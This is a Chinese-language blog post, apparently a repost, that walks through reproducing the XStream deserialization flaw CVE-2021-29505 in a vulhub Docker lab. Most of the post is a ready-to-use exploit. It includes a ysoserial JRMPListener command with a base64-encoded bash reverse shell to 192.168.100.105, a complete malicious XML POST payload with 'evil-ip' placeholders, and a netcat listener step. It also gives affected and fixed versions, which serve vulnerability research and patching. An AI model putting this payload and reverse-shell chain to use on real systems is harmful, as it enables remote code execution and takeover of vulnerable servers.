暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

XStream远程代码执行漏洞复现

Redus 2021-05-27
1127


1. 漏洞概述 

5月14日,XStream 官方发布安全更新,修复了一个由TSRC(与白帽子沟通后)上报的严重漏洞 CVE-2021-29505,并向 TSRC 白帽子公开致谢。

通过该漏洞,攻击者构造特定的 XML,绕过 XStream 的黑名单,最终触发反序列化造成任意代码执行。


2. 环境搭建


影响版本:version <= 1.4.16
安全版本:1.4.17

使用dockerfile文件搭建环境,相关文件可以自行在GitHub下载:https://github.com/vulhub/vulhub/tree/master/base/xstream/1.4.16

进入下载好的文件目录

    cd 1.4.16

    使用 dockerfile 搭建环境(最后的点要注意加上,意思为读取当前路径下的dockerfile文件)

      docker build -t xstream:v1 . 

      使用 docker images 查看已有的镜像环境



      运行镜像

        docker run -d -p 8080:8080 xstream:v1

        访问本地的8080端口



        3. 漏洞复现


        复现需要用到 ysoserial,使用JRMPListener启动一个恶意的 RMI Registry。

        工具下载地址:https://github.com/frohoff/ysoserial,其中的 bash 命令需要自己生成。


        上图网站连接:http://www.jackson-t.ca/runtime-exec-payloads.html


          java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1098 CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xMDUvMjMzMzMgMD4mMQ==}|{base64,-d}|{bash,-i}"


          使用 nc 进行监听



          POC中要改掉两个地方,第45行和第54行的 ecil-ip 要改成监听 IP


            POST / HTTP/1.1
            Host: 192.168.100.105:8080
            User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:88.0) Gecko/20100101 Firefox/88.0
            Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
            Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
            Connection: keep-alive
            Upgrade-Insecure-Requests: 1
            Content-Type: application/xml
            Content-Length: 3111


            <java.util.PriorityQueue serialization='custom'>
            <unserializable-parents/>
            <java.util.PriorityQueue>
            <default>
            <size>2</size>
            </default>
            <int>3</int>
            <javax.naming.ldap.Rdn_-RdnEntry>
            <type>12345</type>
            <value class='com.sun.org.apache.xpath.internal.objects.XString'>
            <m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj>
            </value>
            </javax.naming.ldap.Rdn_-RdnEntry>
            <javax.naming.ldap.Rdn_-RdnEntry>
            <type>12345</type>
            <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
            <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
            <parsedMessage>true</parsedMessage>
            <soapVersion>SOAP_11</soapVersion>
            <bodyParts/>
            <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
            <attachmentsInitialized>false</attachmentsInitialized>
            <nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
            <aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>
            <candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>
            <names>
            <string>aa</string>
            <string>aa</string>
            </names>
            <ctx>
            <environment/>
            <registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>
            <java.rmi.server.RemoteObject>
            <string>UnicastRef</string>
            <string>evil-ip</string>
            <int>1098</int>
            <long>0</long>
            <int>0</int>
            <long>0</long>
            <short>0</short>
            <boolean>false</boolean>
            </java.rmi.server.RemoteObject>
            </registry>
            <host>evil-ip</host>
            <port>1098</port>
            </ctx>
            </candidates>
            </aliases>
            </nullIter>
            </sm>
            </message>
            </value>
            </javax.naming.ldap.Rdn_-RdnEntry>
            </java.util.PriorityQueue>
            </java.util.PriorityQueue>


            放包后终端就弹过来了






            文章转载自Redus,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

            评论